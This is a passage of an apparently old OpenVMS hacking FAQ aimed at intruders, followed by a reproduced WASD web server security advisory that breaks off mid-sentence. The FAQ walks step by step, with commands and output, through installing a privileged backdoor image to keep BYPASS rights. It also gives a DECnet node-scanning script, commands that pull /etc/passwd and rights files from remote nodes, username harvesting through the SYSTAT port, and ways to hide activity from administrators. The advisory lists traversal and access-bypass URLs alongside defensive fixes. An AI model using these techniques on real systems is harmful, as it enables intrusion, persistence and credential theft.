TMPMBX may create temporary mailbox Process rights: DEMO resource INTERACTIVE LOCAL System rights: SYS$NODE_MANSON $ sho proc ! Show our process information 3-MAY-2002 19:05:13.83 User: DEMO Process ID: 0000044C Node: MANSON Process name: "DEMO" Terminal: NTY134: ([beaves.workstation.com]) User Identifier: [DEMO] Base priority: 4 Default file spec: DKA0:[USERS.DEMO] Devices allocated: MANSON$NTY134: $ $ ! The below is done just to show that we _don't_ have BYPASS $ ! priv's. $ set proc/priv=bypass %SYSTEM-W-NOTALLPRIV, not all requested privileges authorized $ $ ! Now we write a _simple_ routine that does nothing more than $ ! call LIB$SPAWN. Its a program that creates a subprocess. $ ! nothing more. The "copy nty132" stuff is somewhat like $ ! "COPY CON" in DOS. Use whatever editor you want. $ $ copy nty132: backdoor.c #include #include long spawn_me; main() printf("Spawning Subprocess.....\n"); spawn_me=lib$spawn(); printf("Subprocess logged out...\n"); } *EXIT* $ ! Now to compile and create our object code (BACKDOOR.OBJ) $ cc backdoor $ $ ! Now we link it with "notraceback". This is done, because when we $ ! we go to "INSTALL", if its linked without it, it won't work. $ ! Install will complain. $ $ link backdoor/notraceback $ $ ! We not have a BACKDOOR.EXE. Let check it out. $ dir /full backdoor.exe Directory DKA0:[USERS.DEMO] BACKDOOR.EXE;1 File ID: (8208,88,0) Size: 3/9 Owner: [DEMO] Created: 3-MAY-2002 19:08:14.43 Revised: 3-MAY-2002 19:08:14.54 (1) Expires: Backup: Effective: Recording: File organization: Sequential Shelved state: Online Caching attribute: Writethrough File attributes: Allocation: 9, Extend: 0, Global buffer count: 0 No version limit, Contiguous best try Record format: Fixed length 512 byte records Record attributes: None RMS attributes: None Journaling enabled: None File protection: System:RWED, Owner:RWED, Group:RE, World: Access Cntrl List: None Client attributes: None Total of 1 file, 3/9 blocks. $ logout DEMO logged out at 3-MAY-2002 19:08:21.36 We've compiled and linked our "BACKDOOR.EXE". Now we must login as "SYSTEM" (or a priv'ed account) and "INSTALL" the image (executable) with the privileges we want to hold on to. In this case, we want to keep our BYPASS priv's. So, lets login as "SYSTEM" and "INSTALL" our image. Connected to manson. Escape character is '^]'. Welcome to Manson.vistech.net [VAX/OpenVMS 7.2] dMMMMMMMMb .aMMMb dMMMMb .dMMMb .aMMMb dMMMMb dMP"dMP"dMd dMP"dMP dMP dMP dMP" VP dMP"dMP dMP dMP dMP dMP dMP dMMMMMP dMP dMP VMMMb dMP dMP dMP dMP dMP dMP dMP dMP dMP dMP dMP dP .dMP dMP.aMP dMP dMP dMP dMP dMP dMP dMP dMP dMP VMMMP" VMMMP dMP dMP Public Access VAX/OpenVMS 7.2 For information about how to get a account here, please check out http://manson.vistech.net! ------------------------------------------------------------------------------- Want a account? New users.... Login under -> "NEWUSER"/Password="NEWUSER" For "Guest" access to a DCL prompt Login under -> "DEMO"/Password="USER" Upper Deck BBS Telnet/SSH Gateway Login under -> "BBS" /Password=NONE ------------------------------------------------------------------------------- Username: System Password: - Welcome to Manson.vistech.net - VAX/OpenVMS 7.2 $ $ ! Okay. Lets copy our image. The "DEMO" accounts home directory $ ! was DKA0:[USERS.DEMO]. We'll copy it to the SYS$SYSTEM $ ! logical. $ $ copy dka0:[users.demo]backdoor.exe sys$system: $ set default sys$system: ! Lets go there ourselves, shall we? $ install ! Okay.. lets jump into INSTALL. INSTALL> create backdoor/priv=(bypass) ! Create/Install Image w/ BYPASS INSTALL> list backdoor/full ! Just show the new image privs. DISK$OVMSVAXSYS:.EXE BACKDOOR;1 Prv Entry access count = 0 Privileges = BYPASS INSTALL> exit $ $ ! Okay. SYS$SYSTEM:BACKDOOR.EXE has "BYPASS" privileges. Lets $ ! check it out... $ dir/full backdoor.exe Directory SYS$SYSROOT:[SYSEXE] BACKDOOR.EXE;1 File ID: (8210,33,0) Size: 3/9 Owner: [SYSTEM] Created: 3-MAY-2002 19:08:14.43 Revised: 3-MAY-2002 19:08:41.16 (2) Expires: Backup: Effective: Recording: File organization: Sequential Shelved state: Online Caching attribute: Writethrough File attributes: Allocation: 9, Extend: 0, Global buffer count: 0 No version limit, Contiguous best try Record format: Fixed length 512 byte records Record attributes: None RMS attributes: None Journaling enabled: None File protection: System:RWED, Owner:RWED, Group:RE, World: Access Cntrl List: None Client attributes: None Total of 1 file, 3/9 blocks. $ $! Note: The "World:" in the "File protection:". We probably need $! to change the file protections to give "world" access to read and $! execute. Well... Execute being the _important one. $ $ set file backdoor.exe /prot=(w:re) ! Change the world protection $ dir/full backdoor.exe ! Let's take a look'see. Directory SYS$SYSROOT:[SYSEXE] BACKDOOR.EXE;1 File ID: (8210,33,0) Size: 3/9 Owner: [SYSTEM] Created: 3-MAY-2002 19:08:14.43 Revised: 3-MAY-2002 19:09:48.97 (3) Expires: Backup: Effective: Recording: File organization: Sequential Shelved state: Online Caching attribute: Writethrough File attributes: Allocation: 9, Extend: 0, Global buffer count: 0 No version limit, Contiguous best try Record format: Fixed length 512 byte records Record attributes: None RMS attributes: None Journaling enabled: None File protection: System:RWED, Owner:RWED, Group:RE, World:RE Access Cntrl List: None Client attributes: None Total of 1 file, 3/9 blocks. $ log SYSTEM logged out at 3-MAY-2002 19:09:54.55 Okay. BACKDOOR.EXE is INSTALL'ed with BYPASS priv's. Let login as a average joe (err... DEMO) and test this out. Connected to manson. Escape character is '^]'. Welcome to Manson.vistech.net [VAX/OpenVMS 7.2] dMMMMMMMMb .aMMMb dMMMMb .dMMMb .aMMMb dMMMMb dMP"dMP"dMd dMP"dMP dMP dMP dMP" VP dMP"dMP dMP dMP dMP dMP dMP dMMMMMP dMP dMP VMMMb dMP dMP dMP dMP dMP dMP dMP dMP dMP dMP dMP dP .dMP dMP.aMP dMP dMP dMP dMP dMP dMP dMP dMP dMP VMMMP" VMMMP dMP dMP Public Access VAX/OpenVMS 7.2 For information about how to get a account here, please check out http://manson.vistech.net! ------------------------------------------------------------------------------- Want a account? New users.... Login under -> "NEWUSER"/Password="NEWUSER" For "Guest" access to a DCL prompt Login under -> "DEMO"/Password="USER" Upper Deck BBS Telnet/SSH Gateway Login under -> "BBS" /Password=NONE ------------------------------------------------------------------------------- Username: demo Password: User [DEMO] has 220 blocks used, 19780 available, of 20000 authorized and permitted overdraft of 1000 blocks on DKA0 $ sho proc/priv ! Show the process priv's please. 3-MAY-2002 19:10:08.55 User: DEMO Process ID: 00000450 Node: MANSON Process name: "DEMO" Authorized privileges: NETMBX TMPMBX Process privileges: NETMBX may create network device TMPMBX may create temporary mailbox Process rights: DEMO resource INTERACTIVE LOCAL System rights: SYS$NODE_MANSON $ ! Lets run the backdoor, and get BYPASS. Note the $ ! "Authorized privileges" and the lack of BYPASS. $ ! Also note the "process id/process name". $ mcr backdoor Spawning Subprocess..... $ sho proc/priv ! Note the process id/name now.... 3-MAY-2002 19:10:17.55 User: DEMO Process ID: 00000451 Node: MANSON Process name: "DEMO_1" Authorized privileges: BYPASS NETMBX TMPMBX Process privileges: NETMBX may create network device TMPMBX may create temporary mailbox Process rights: DEMO resource INTERACTIVE LOCAL System rights: SYS$NODE_MANSON $ ! Okay.. Note the "Authorized privleges". $ set proc/priv=bypass ! BYPASS priv's please. Note: No error message. $ sho proc/priv ! Lets show it off. 3-MAY-2002 19:10:28.92 User: DEMO Process ID: 00000451 Node: MANSON Process name: "DEMO_1" Authorized privileges: BYPASS NETMBX TMPMBX Process privileges: BYPASS may bypass all object access controls NETMBX may create network device TMPMBX may create temporary mailbox Process rights: DEMO resource INTERACTIVE LOCAL System rights: SYS$NODE_MANSON $ ! Note the "process name/process ID". We can pretty much do anything $ ! we want not. Add users, etc. You name it. Lets logout. $ logout Process DEMO_1 logged out at 3-MAY-2002 19:10:33.98 Subprocess logged out... $ ! Remember, that was a LIB$SPAWN process.. We have to logout $ $ Twice (One to kill the subprocess, the other to kill our main $ ! process. $ logout DEMO logged out at 3-MAY-2002 19:10:36.97 Thats it. Of course, you could write this in just about any language you want. I used C in this example, because most people will be familiar with it. In previous FAQ's, I've used VMS BASIC. Here's that code... ----------- external long function lib$spawn ! Call "SPAWN" library. The idea with this declare long xspawn ! program is to give us another "spawned" xspawn=lib$spawn() ! process. ------------ As you can see, calling LIB$SPAWN isn't rocket science. To compile, save in BASIC... Then.... $ BASIC BACKDOOR ! Or whatever you called it. $ LINK/NOTRACEBACK BACKDOOR ! Link it with NOTRACEBACK! Then continue with the INSTALL and all that above. - Using DEC's Network to your advantage - 1. "What is a DECNet?" "DECNet is a collective name for the family of communications products (software and hardware) that allow DIGITAL operating systems to participate in a network. "A DECNet network links computers into flexible configurations to exchange information, share resources, and perform distributed processing. DECNet distribution processing capabilities also information to be originated anywhere in the network." - VMS Version 5.0 DECnet "Guide to DECNet - VAX Networking" DECNet can support a minimum of 2 nodes and up to 64,000 nodes, and can support multiple OS's along with various LAN/WAN (Using PSI, and DECNet system can be supported on packet switching environments (like Tymnet and Sprintnet) and operating environments. (VMS, Ultrix, RSX, and with the correct hardware, IBM PC's, VAXmate's, etc). DECNet allows easy access to information from system to system, assuming you have the NETMBX privilege. To get a list of DECNet objects, "$MCR NCP SHOW KNOWN OBJECTS". 2. "This is great, what does it mean to me." You can use DECNet to grab information/files/programs and use them to your own advantage (granted that security has not been completely implemented... which is usually the case on a vanilla/default install) For instance, if a intruder were to break into a system which supported a DECNet, he/she might be able to access files on a remote system/nodes of that DECNet. As stated, DECNets can range from local machines in that area (LAN) or DECNet's can stretch across the world. 3. "How would I get to that information on a remote node?" All from DCL, accessing the default, un-priv'ed DECNet or possibly priv'ed proxy account on the remote node, using commands like "DIRECTORY", "COPY", "TYPE", etc. Usually by adding in the node name at the being of the command. For example $ DIR NODE:: ! Example format. or $ DIR NODE::SYS$COMMON:[SYSEXE] ! Shows logical SYS$COMMON and the SYSEXE ! Directory on the remote node. or $ COPY NODE::DISK1:[BOB]SECRET.TXT [] ! The "[]" means "wherever i am" Remember DECNet object logs are being kept! 4. "What if I want to connect and use the nodes interactively?". One of two ways. Either way requires NETMBX privilege. Try to "SET HOST [NODENAME]". If that fails, try to use NCP (Network Control Program), like this..... $ MCR NCP CONNECT NODE [NODENAME] 5. "Well, Gee, thats wonderful. How do I find connectable nodes that are on the DECNet" Once again, this information can be found using the NCP ( or via a "SHOW NETWORK") command. "SHOW NETWORK" won't work if you are on a non-routing node. You might not get a *complete* listing, because the host you are on might not know all DECNet nodes, but it will at least get you hoping around on the DECNet. This list can be obtain via executing..... $ MCP NCP SHOW KNOWN NODE (SYS$SYSTEM:NETNODE_LOCAL.DAT, SYS$SYSTEM:NETNODE_REMOTE.DAT) This will dump a list. You can sort though the information using the NCP connect command, and see what all sorts of things you run into (Xyplex/DECServers, Other VMS Machines, SNA Gateway controllers, etc, etc). If you are only interested in machine that you can get file information on, you can us the following command file to find nodes that you can use. $! DECNETFIND Version 1.0 $! Coded By The Beaver $! Jan 5th, 1995 $! $! The intent of this code is to scan for remote, connectable nodes that $! the VMS host knows about (Via NCP) and build a list. Once this list $! has been created, we check to see if the remote machine is indeed $! A> VMS (Later rev. will include Ultrix/OSF(?)) 2> Can it be directly $! accessed via the DECNet 3> Can we read file systems on the remote node. $! Node that are "successful" are stored away. This prevents mucho $! time consuming scanning by hand. $! $! $ on error then goto err ! In case of Boo-Boo $ say :== write sys$output $ if p1 .eqs. "" ! Yes, output file helps $ then $ say "DECNet VMS Node Finder Version 1.0 1995" $ say "Coded By The Beaver" $ say "" $ say "Usage:" $ say "DECNETFIND [Outfile]" $ exit $ endif $! $ say "Building Node List Via NCP....(Working)" $! $ mcr ncp show known nodes to nodes.out ! Fire up NCP and dump nodeslist $ open/read in nodes.out ! Open to read $ open/write nodelist 'p1' ! "Success" Storage area. $ on severe_error then loop1 ! So things dont die on "dir ::"'s $! $ loop1: $ read/end = end in line $ name=f$element(0,")", f$element(1, "(", line)) ! grab a nodename $ if name .gts. "(" $ then $ say "**************************************************************" $ say "Nodename: "+name $ say "" $ dir 'name':: ! See if we can get to it via a DECNet DIR:: $ if $severity .nes "1" $ then $ say "Status: Node Unreachable Via DECNet Dir::" $ else $ say "Status: Found Good Node. [Logged]" $ write nodelist name ! Log it. $ endif $ endif $ goto loop1 $ err: $ say "Ouch. There has been a error!" $ end: $ close in $ close nodelist ! Close up and leave, exit stage $ delete nodes.out;* ! right $ say "Complete!" $ exit "That works great, but I ran into a Unix (Ultrix) machine, and when I do a 'DIR NODENAME::' it only gives me some jerk-off's directory. Is there anyway I can grab files off the remote machine (Ultrix) and directory listings?" Once again, no problem. Format the command like this: $ DIR NODE::"/etc" ! will give remote nodes /etc directory Or to grab the /etc/passwd file on the remote node, try.... $ TYPE NODE::"/etc/passwd" ! And open a capture buffer. "Can I grab a VMS rights list?" $ COPY NODE::"SYS$SYSTEM:RIGHTSLIST.DAT" RIGHTSLIST.DAT 6. "Can't DECNet be protected more against this generic attack?" Sure, by disabling the DECNet account and by watching any proxy accounts that may be set up (probably not a good idea to have a proxy into a privileged account). Unless a proxy account is set up (SYS$SYSTEM:NETPROXY.DAT), users must supply a password when attempting to do network operations like above. Proxy logins are formatted below: (This example is using the DCL COPY command) COPY remotenode"proxyaccount"::filename filename for example, COPY ADAM"BOB"::SECURITY.TXT MYSECURITY.TXT (BOB - The Proxy login name) However, in a vanilla VMS (IE - Default installation), proxy logins are not enabled. 7. "Are proxy logins logged.. Can I write a routine that will attempt proxy accounts to break into remote machines?" You bet that proxy logins are logged. Repeating invalid attempts will inform the administrations that a "NETWORK BREAK IN" is in effect (via the OPCOM process). 8. Sneak Routing [Need more information... this is to vague] You can access a machine you normally couldn't by piggy-backing over a machine(that can get to the machine you can't) you can get to through the DECNet account. This is called "Poor Man's Routing". It is preventable by the sys admin on the piggy back machine. [add more to this] - TCP/IP Networked Machines - 1. "I have found a remote VMS machine on a TCP/IP network (I.E. the Internet). I have tried to finger the remote system in order to start collecting usernames, I get a 'connection refused'.... Now what?" Connect to the SYSTAT port (Port 11). This will give jobs currently running on the system. More than likely, this port has been left open. With this in mind, you can sort though all the jobs and grab usernames, while excluding system jobs (I.E - SWAPPER, ERRFMT, AUDIT_SERVER, JOB_CONTROL, NETACP, EVL, REMACP, SYMBIONT*, XYP_SERVER, OPCOM, INET_SERVERS, etc....etc). Also, I find one great trick is to look for "Student" type accounts. That is, accounts that appear to be repetitive. You can then predict possible usernames. The above can be accomplished by using the below command (In most cases): $ TELNET SITE.ADDRESS.COM /PORT=11 Try other ports as well. Netstat is port 15. On newer versions of TCP/IP software (Multinet, TCPWare, etc), this is now disabled. 2. "On Unix machines, I can make a symbolic link to a 'questionable' command, so that is appears that I am doing one thing when I am really doing another (Or copying and renaming the command). Is there anyway I can make it appear that I am doing something that I am not?". When the command "finger" is issued, a user/administrator can see what image is currently being executed by a particular user. For example sake, lets say you want to play with NCP but you know that if the administrators see you in NCP, they will get rather irate, and kick you off the system. You can make it appear that you are doing something else by: a> Copying the image, renaming it, and running it. [which may or may not work] This will not hide you from things like, "SHOW SYSTEM". Note; On systems using older versions of VMS Multinet, FTP is not logged to console (via OPCOM process). It _is_ logged, but the operator is not informed. With this in mind, you can use this to "test" accounts on remote systems. 3. Multinet 4.4 (And down) Secondary password "BUG". (Bypassing secondary password under mulitnet 4.X) This is documented, and I consider it a bug. This pertains to installations of Multinet SSHD (Secure Shell), and the VMS secondary password option. To quote: "When using SSH2 to connect to a VMS server, if the VMS account is set up a secondary password, SSH2 does not prompt the user for the secondary password. If the VMS primary password entered is valid, the user is logged in, bypassing the secondar password." - Other ------ *1 How to make /DEBUG/TRACEBACK INSTALL images! (Not Complete) *2 Bypassing OPCOM (Logging information) *3 Reading VMS CD's 4. The WASD 8.0 (And Down) Web server security post (Bugtraq) JLOUP used the DeathRow Cluster (http://deathrow.vistech.net) to find (and partially exploit) the WASD webserver (http://wasd.vsm.com.au/wasd). Note: This is the first _real_ security problem found on the DeathRow Cluster (... and many have tried!...). Using this, it is possible to view, modify and gain SYSTEM access. -----BEGIN PGP SIGNED MESSAGE----- Hash: SHA1 Multiple vulnerabilities in WASD http server for OpenVMS Version 1.0, 25 Sept 2002. 0. Contents 1. Summary 2. Severity: Critical 3. Vulnerable versions 4. Description 5. Solutions 6. Examples of site weaknesses 7. Conclusion 8. Acknowledgments 9. Document history 1. Summary WASD VMS Hypertext Services is a popular http server for OpenVMS released under the GNU GPL. See http://wasd.vsm.com.au/WASD/ The default installation of the WASD server allows: - universal directory traversal - instant access to the entire web server tree - trivial bypassing of access control rules - getting the location of the document root - read access to the whole web server configuration - read access to all web server logs - disclosure of directories supposed to be hidden - getting the list of all cgi scripts - getting the sources of all cgi scripts - read access to OpenVMS system files - user home directories might be readable - one very serious flaw in a cgi script enabled by default - some problems with other cgi-scripts enabled by default 2. Severity: Critical When combining different vulnerabilities, a remote SYSTEM (root) compromise is possible in a default installation of WASD versions up to 8.0. Even without compromising the system, important files which are supposed to stay confidential can easily be read remotely. 3. Vulnerable versions WASD 7.1, 7.2 (up to 7.2.3), 8.0, and possibly earlier versions. WASD 8.1, and the update versions 8.0.1 and 7.2.4, will fix the known vulnerabilities. 4. Description The main problems are: - the default configuration is much too liberal - the access control rules can be trivially bypassed - cgi scripts are run by default under the identity of the main server There are also problems with some cgi scripts provided by default, at least one of which is very serious. 4.1 The default configuration is much too liberal 4.1.1 The builtin "tree" script By default the entire directory tree of the web server can be seen with http://webserver/tree/ Documentation: http://wasd.vsm.com.au/ht_root/doc/env/env_0400.html#43 Example: http://wasd.vsm.com.au/tree/ 4.1.2 "/*.*" directory traversal Universal directory traversal is builtin with http://webserver/dirname/*.* even if there is a page /dirname/index.html Documentation: http://wasd.vsm.com.au/ht_root/doc/env/env_0400.html 4.1.3 The builtin "upd" script A nice graphical interface for directory traversal is builtin with http://webserver/upd/dirname/ even if there is a page /dirname/index.html Documentation: http://wasd.vsm.com.au/httpd/-/updhelp.html 4.1.4 The builtin search All documents can be searched by default. Documentation: http://wasd.vsm.com.au/ht_root/doc/env/env_0700.html#97 4.1.5 Most of the server root is accessible by default The document root is the main server root, which includes everything (configuration files, scripts, executables, etc...). Directory traversal is enabled on most of the directories and access to the other directories is possible anyway (see later). The WASD documentation states that the liberal option was on purpose: http://wasd.vsm.com.au/ht_root/doc/htd/htd_0600.html#98 "The default configuration is fairly liberal, providing information of use in a technical environment, but that may be superfluous or less-than-desirable in other, possibly commercial environments." OpenVMS has a reputation of being a very secure operating system. This may explain why VMS system administrators may have a false sense of security when installing the WASD web server and leave the default configuration almost untouched. The default configuration in WASD 8.1 will be much more restrictive. 4.2 The access control rules can be trivially bypassed All the liberal features described above can be used to bypass the few restrictions set by the web server. 4.2.1 Bypassing access restrictions set by the web server The configuration file httpd$map.conf contains rules such as: pass /ht_root/wwwroot* fail /ht_root/* fail /-/* In this example, the server root is ht_root and the document root is wwwroot. The "fail" rules attempt to restrict access to the server root but can be trivially bypassed with: http://theserver/ht_root/wwwroot/-/*.* (note: "-" is the VMS equivalent of ".."). So the only real protection comes from the directory protections and ACLs (access control lists) imposed by the operating system. (See section "Solutions" below.) 4.2.2 The location of the document root can easily be obtained The location of the document root can easily be obtained with the "where" builtin script. Documentation: http://wasd.vsm.com.au/ht_root/doc/htd/htd_2100.html#364 Even if the "where" script is not enabled, the "404 not found" message gives away the document root. On a server where the document root was (correctly) not the entire web server root (logical name HT_ROOT), the real document root could still be obtained with http://theserver/notfound which gives "Document not found ... /ht_root/wwwroot/notfound" This allows getting the entire web server root with http://theserver/ht_root/wwwroot/-/*.* as described above. The full physical path may also be given hidden as a comment in the html returned in the "404 not found" message: 4.2.3 The full web server configuration can easily be obtained The web server configuration file in ht_root/local/httpd$map.conf is generally supposed to be protected by a fail rule: fail /ht_root/local/* However this can often be trivially bypassed as shown above: http://theserver/ht_root/wwwroot/-/local/httpd$map.conf On one of the machines tested, there was even no "fail" rule so the configuration could be obtained directly as http://theserver/local/httpd$map.conf The configuration file httpd$map.conf gives a lot of information to intruders, in particular all the access control rules, all the script directories, all the virtual domains handled, all the accessible directories not under ht_root, etc... 4.2.4 All the web server logs can easily be obtained This is just a variation on the above. There is generally a rule fail /ht_root/log/* but all the logs can generally be obtained with http://theserver/upd/ht_root/src/-/log/ unless they are protected with adequate ACLs. If the logs are protected by ACLs but you have a user account on the machine hosting the web server, then some of the logs may still be obtained because the last request may be available in the logical name (environment variable) HTTPD80$REQUEST : $ show log HTTPD80$REQUEST "HTTPD80$REQUEST" = "08 11:56:42.200.430.5287.0.9000.http://theserver: 80.ip.address.of.caller.GET /filename" The logical name is dynamically updated at each request. However this was observed on only one system with an old version of WASD so the problem may be fixed in 8.0. 4.2.5 The "tree" builtin script shows directories supposed to be hidden The server logs are actually in a subdirectory /ht_root/log/server/ Since there is generally a fail rule for /ht_root/log/* the subdirectory server is supposed to be hidden, but the "tree" builtin script happily shows it: http://theserver/tree/ht_root/ 4.2.6 Directory protection can be bypassed anyway Some directories are better protected and are not even visible with the "tree" builtin scripts. On one tested site, the directory /ht_root/script_local/ exists but cannot be seen with /ht_root/script_local/*.* or with /tree/. This site has probably used the following configuration described in http://wasd.vsm.com.au/ht_root/doc/htd/htd_0600.html#99 [DirAccess] - Make "disabled" to completely remove the ability to generate directory listings under any circumstances. However the search feature comes to rescue, and the directory (together will all its scripts, see next section) can still be seen with http://theserver/.../*.com?search=$ If even the standard search feature has been disabled, one can also try the default glist script, which is supposed to give only a list of images but also gives all subdirectories: http://theserver/cgi-bin/glist/ht_root/?list=now In any case, on this particular server the directory script_local is given in /robots.txt so it is not difficult to see that it exists. 4.2.7 The list of cgi scripts can easily be obtained It is not possible to see the list of cgi scripts with the url http://theserver/cgi-bin/*.* however the scripts are generally in ht_root/script/ or ht_root/script_local. If a configuration rule is supposed to block access to these directories (either because the document root is correctly separated from the server root, or because there is an explicit rule blocking script/*), it is generally possible to get the list of scripts and their sources with an url such as: http://theserver/ht_root/wwwroot/-/script_local/*.* For cgi scripts of users, which can be run with url http://theserver/~username/cgi-bin/scriptname it is a bit less trivial to obtain the list of scripts because the obvious attempts fail: http://theserver/~username/cgi-bin/*.* but the following generally works: http://theserver/~username/xxx/-/cgi-bin/*.* where xxx doesn't have to be an existing directory. If it doesn't work, then the search feature can generally be used: http://theserver/~username/.../*.com?search=$ (note: on OpenVMS "..." indicates directory recursion). This searches all the *.com scripts for the character $ which always starts a command on OpenVMS, and so gives as a result the full list of all .com scripts under all subdirectories of the home directory. It is even possible to search *.* instead of *.com. 4.2.8 The sources of cgi scripts can easily be obtained After the list of scripts has been obtained as above, it is trivial to get the sources of the scripts by clicking on a link. For general server scripts the link can be of the form: http://theserver/ht_root/wwwroot/-/script_local/scriptname For user scripts obtained by the search feature, the link is: http://theserver/extract/~username/cgi-bin/scriptname.com?highlight=$ Here "extract" is a script provided by default by WASD. It allows getting the source of a script instead of executing it, even if the directory containing the script is named cgi-bin. 4.2.9 OpenVMS system files can generally be read On several tested sites, a configuration rule is supposed to give access to only a selected portion of system files: pass /sys$common/syslib/* /sys$common/syslib/* However other system files can easily be read, for example http://theserver/sys$common/syslib/-/sysmgr/systartup_vms.com 4.2.10 User home directories might be readable It is common practice to map url http://theserver/~username/ to a subdirectory /user_disk/username/web/ of the home directory /user_disk/username/. But if the OpenVMS protections and ACLs on the home directory are not set correctly, it is possible to traverse it with: http://theserver/~username/-/*.* Actually this often returns an error because of a strange mapping rule: pass /*/-/* /ht_root/runtime/*/* but it is easy to work around this rule with: http://theserver/~username/x/--/*.* where x doesn't have to be the name of an existing directory, and "--" represents for VMS the equivalent of "../.." In one of the sites tested, there was even no mapping to a subdirectory so the whole user home directory was available with http://theserver/~username/*.* 4.3 CGI scripts are run by default under the identity of the main server By default the server runs the image httpd.exe (or httpd_ssl.exe) under the identity of user http$server. CGI scripts are also run by default under the same identity. Thus a flaw in one CGI script can affect the entire server. On Unix, the main server is typically run as root but CGI scripts are typically run under user "nobody". Thus a bad script cannot affect the entire server. The WASD server allows running CGI scripts as a user other than http$server. This will be the default in WASD 8.1. 4.4 Problems with some cgi scripts enabled by default I have not studied all scripts provided in a default installation of WASD. But at least one is very dangerous and there are some bugs in others. 4.4.1 Write to an arbitrary file on the web server One script enabled by default allows writing contents of the attacker's choice to an arbitrary file on the server, as long as the VMS ACLs allows it. This flaw can be exploited to get a remote SYSTEM (root) compromise. Given the severity of this flaw, no details are given here. See the "Solutions" section below for temporary workarounds. 4.4.2 Severe leakage of information in cgi_process.com Running http://theserver/cgi-bin/cgi_process gives a *lot* of useful information for an intruder. In particular it gives all the privileges owned by the script while running. (For Unix users: a script run with privileges is somewhat equivalent to a setuid or setgid program, but with much finer control on the actions allowed for the program.) On one system, the script could be run with the SETPRV privilege, which is equivalent to setuid root on Unix. This tells an intruder that efforts should be concentrated on this particularly vulnerable server. 4.4.3 Format string bug in PerlRTE_example1.pl See http://wasd.vsm.com.au/ht_root/src/perl/readmore.html for a description of this script and its sources. It contains in particular: printf ("$name=\"$ENV{$name}\"\n"); The variable $name comes from the user and is not filtered, so a classic format string attack is possible. For example: http://wasd.vsm.com.au/plrte/PerlRTE_example1/%25x%25x%25x (where %25 is the hex encoding of the character '%') gives: PATH_INFO="/000" PATH_TRANSLATED="HT_ROOT:[000000]000" REQUEST_URI="/plrte/PerlRTE_example1/ 0 0 0" where the number of zeroes is the number of %x format indicators. This bug is probably not exploitable, but this should be checked. This script also gives away a lot of potentially useful information for an intruder (all logical names). 4.4.4 Potential denial of service in print.com The cgi script print.com allows printing a file on the server from a remote location. This script is enabled by default. The source is available at http://wasd.vsm.com.au/script/print.com This script attempts to restrict the IP addresses allowed to print: $ HPRINTS_ALLOWED = "131.185.250.*" Anyone in this IP range can force the printer to run out of paper. Anyway, it should be fairly easy to spoof the source IP address. 5. Solutions The WASD documentation has a section "Securing the site": http://wasd.vsm.com.au/ht_root/doc/htd/htd_0600.html#98 This is essential reading for any administrator of a WASD server. However some of the recommendations are not effective. In particular the example given in section "Package tree" to block all access to the /ht_root/ tree except for selected areas, does not work correctly for WASD versions up to 8.0. Here is a list of minimum recommendations, which can be put in place even with the existing versions WASD (up to 8.0). Such recommendations might seem obvious for Apache users, but unfortunately many of the WASD sites which were tested didn't follow these basic recommendations. 5.1 Check for new WASD versions at http://wasd.vsm.com.au/WASD/ At the time of writing this advisory, version 8.1 of WASD is in preparation. It will fix all the known security problems, provide from installation a directory structure and associated permissions facilitating minimum necessary upward security adjustments, and use much more restrictive default access rules than previous versions. An advisory written by the WASD author should be available at http://wasd.vsm.com.au/ht_root/doc/misc/wasd_advisory_020925.txt Existing versions 8.0 and 7.2 will each have an update kit available (8.0.1 and 7.2.4 or later). These will include a server with fixes for all known security issues and a script install_secure.com which adjusts the existing directory structure and permissions to conform with that implemented for 8.1. If these updates and/or version 8.1 or later is not available or not applicable to a given site, then check for a kit that provides just the install_secure.com script. This can be used standalone on 7.x and 8.0 installations for significant improvements to site security. If none of these are available or applicable to a given site, then take at least the minimum precautions described below in sections 5.2 to 5.6. 5.2 Use a separate document root, not the whole web server root Put the document root in /ht_root/wwwroot, not /ht_root, with mapping rules such as: pass /* /ht_root/wwwroot/* fail /ht_root/* You can add a rule such as fail /-/* but unfortunately it will not be very effective because it can be trivially bypassed with all versions of the WASD server up to 8.0. 5.3 Use a subdirectory for a user document root, not the home directory Use rules such as: user /~*/* /user_disk/*/web/* redirect /~* /~*/ 5.4 Set file protections and ACLs correctly Since the WASD access restrictions can be bypassed, the only effective protection is that provided by the system itself, OpenVMS. The web server runs by default as user http$server, so make sure that directories supposed to be protected are not readable by this user. Take at least the following minimum precautions: . Make sure that all directories under ht_root are owned by user SYSTEM, not by user HTTP$SERVER. Add specific ACLs for directories and files which must be readable or writable by HTTP$SERVER, but only these: $ set file /owner=system /prot=(s:rwed,o:rwed,g,w) - ht_root:[000000]local.dir, ht_root:[local...]*.*;* , - ht_root:[000000]http$server.dir, ht_root:[http$server...]*.*;* $ set security /acl=((ident=http$server,access=e) /delete=all - ht_root:[000000]local.dir $ set security /acl=((ident=http$server,access=r+e) /delete=all - ht_root:[local]*.com;* $ set security /acl=((ident=http$server,access=r+e) /delete=all - ht_root:[http$server]*.com;* Be particularly careful about ACLs on files in directory [local]. Only the .com files there should be readable by http$server; the rest contains very sensitive information. . To prevent all the different ways of reading scripts, set protection Execute only instead of Read+Execute on all essential scripts (and delete all other scripts as described below). Check at least the directories /script, /script_local, /vax and /axp, plus any other directories mentioned in the logical name CGI-BIN. $ set file /owner=system /prot=(s:rwed,o:rwed,g,w) - ht_root:[000000]script*.dir, ht_root:[script*...]*.*;* , - ht_root:[000000]axp.dir, ht_root:[axp...]*.*;* , - ht_root:[000000]vax.dir, ht_root:[vax...]*.*;* $ set security /acl=((ident=http$server,access=e) /delete=all - ht_root:[000000]script*.dir $ set security /acl=((ident=http$server,access=e) /delete=all - ht_root:[script*]*.*;* $ set security /acl=((ident=http$server,access=e) /delete=all - ht_root:[000000]axp.dir ! or vax.dir depending on architecture $ set security /acl=((ident=http$server,access=e) /delete=all - ht_root:[axp]*.*;* ! or [vax]*.*;* depending on architecture . To prevent reading the web server logs, set ACLs to allow write-only access for user http$server on directory [log] and its subdirectories. . To prevent all the forms of directory traversal, set protection Execute only instead of Read+Execute for directories which must be protected from traversal. You can also add rules in httpd$map.conf fail /tree/ fail /tree/* fail /upd/* fail /where/* fail /query/* fail /extract/* but do not rely only on these rules, set ACLs correctly first. 5.5 Remove all unused cgi programs This is a basic principle, but unfortunately it was not followed in any of the tested sites: remove *all* unused cgi scripts and executables. Some of the programs provided by default with the WASD server are very dangerous. So check at least the directories script, script_local, axp and vax (all under ht_root) and move anything which is unused somewhere outside ht_root, with very strict ACLs. Let me insist again: at least one of the programs provided by default with the WASD server is extremely dangerous. I will not name it to avoid helping too much the script kiddies, so in doubt remove everything unless you know that you 